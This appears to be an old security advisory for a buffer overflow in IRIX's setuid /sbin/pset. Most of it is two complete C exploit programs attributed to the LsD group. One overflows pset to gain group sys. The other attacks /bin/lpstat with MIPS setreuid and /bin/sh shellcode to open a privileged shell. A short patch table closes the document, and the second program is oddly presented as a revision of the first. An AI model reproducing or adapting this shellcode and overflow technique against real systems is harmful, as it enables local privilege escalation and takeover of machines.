COMMAND
/sbin/pset
SYSTEMS AFFECTED
IRIX 5.x, 6.0.x, 6.1, 6.2, 6.3
PROBLEM
pset(1M) is a program used to display and modify information
concerning the use of processor sets in the current system. The
pset command is used on multi-processor systems to restrict the
execution of different classes of jobs.
Below is exploit code for buffer overflow. Originally it was
written by Polish group LsD. Exploit follows:
/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/
/* This one gives you egid=0(sys) */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define BUFSIZE 4172
#define OFFS 816
#define ADDRS 8
#define ALIGN 3
#define ALIGN2 1
char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
/*
char nop[]="\x24\x0f\x12\x34";
*/
char nop[]="\x01\x20\x48\x25";
void run(unsigned char *buf) {
execl("/sbin/pset","lsd","-s","666",buf,NULL);
printf("execl failed\n");
}
char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";
/*
unsigned long get_sp(void) {
__asm__("or $2,$sp,$0");
}
*/
main(int argc, char *argv[]) {
char *buf, *ptr, addr[8];
int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
int i, noplen=strlen(nop);
if (argc >1) bufsize=atoi(argv[1]);
if (argc >2) offs=atoi(argv[2]);
if (argc >3) addrs=atoi(argv[3]);
if (argc >4) align=atoi(argv[4]);
if (bufsize<strlen(asmcode)) {
printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
exit(1);
}
if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
printf("Can't malloc\n");
exit(1);
}
*(int *)addr=(*(unsigned long(*)())jump)()+offs;
printf("address=%p\n", *(int *)addr);
strcpy(buf,nop);
ptr=buf+noplen;
buf+=align;
for(i=0;i<bufsize;i++)
*ptr++=nop[i%noplen];
memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
for(i=0;i<ALIGN2;i++)
*ptr++=nop[i%noplen];
for(i=0;i<(addrs<<2);i++)
*ptr++=addr[i%sizeof(int)];
*ptr=0;
printf("buflen=%d\n", strlen(buf));
fflush(stdout);
run(buf);
}
This code changed later:
/*## copyright LAST STAGE OF DELIRIUM nov 1998 poland *://lsd-pl.net/ #*/
/*## /bin/lpstat #*/
#define NOPNUM 468
#define ADRNUM 300
#define PCHNUM 300
char setreuidcode[]=
"\x30\x0b\xff\xff" /* andi $t3,$zero,0xffff */
"\x24\x02\x04\x01" /* li $v0,1024+1 */
"\x20\x42\xff\xff" /* addi $v0,$v0,-1 */
"\x03\xff\xff\xcc" /* syscall */
"\x30\x44\xff\xff" /* andi $a0,$v0,0xffff */
"\x31\x65\xff\xff" /* andi $a1,$t3,0xffff */
"\x24\x02\x04\x64" /* li $v0,1124 */
"\x03\xff\xff\xcc" /* syscall */
;
char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x01\x14" /* addi $ra,$ra,276 */
"\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
"\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
"\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
"\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
"\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;
char jump[]=
"\x03\xa0\x10\x25" /* move $v0,$sp */
"\x03\xe0\x00\x08" /* jr $ra */
;
char nop[]="\x24\x0f\x12\x34";
main(int argc,char **argv){
char buffer[10000],adr[4],pch[4],*b;
int i;
printf("copyright LAST STAGE OF DELIRIUM nov 1998 poland //lsd-pl.net/\n");
printf("/bin/lpstat for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8888+1364+140-15012;
*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+8888+140+544+32748;
b=buffer;
*b++=0xff;
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
*b=0;
execl("/bin/lpstat","lsd","-n",buffer,0);
}
SOLUTION
IRIX 6.4 does not have the pset(1M) program. Temporary fix should
be removal of suid bit. Apply following patches:
OS Version Vulnerable? Patch #
---------- ----------- -------
IRIX 3.x no upgrade
IRIX 4.x no upgrade
IRIX 5.0.x yes upgrade
IRIX 5.1.x yes upgrade
IRIX 5.2 yes upgrade
IRIX 5.3 yes 2176
IRIX 6.0.x yes upgrade
IRIX 6.1 yes upgrade
IRIX 6.2 yes 2459
IRIX 6.3 yes 2792
IRIX 6.4 no
Patches are available via anonymous FTP and your service/support
provider. The SGI anonymous FTP site is sgigate.sgi.com
(204.94.209.1) or its mirror, ftp.sgi.com.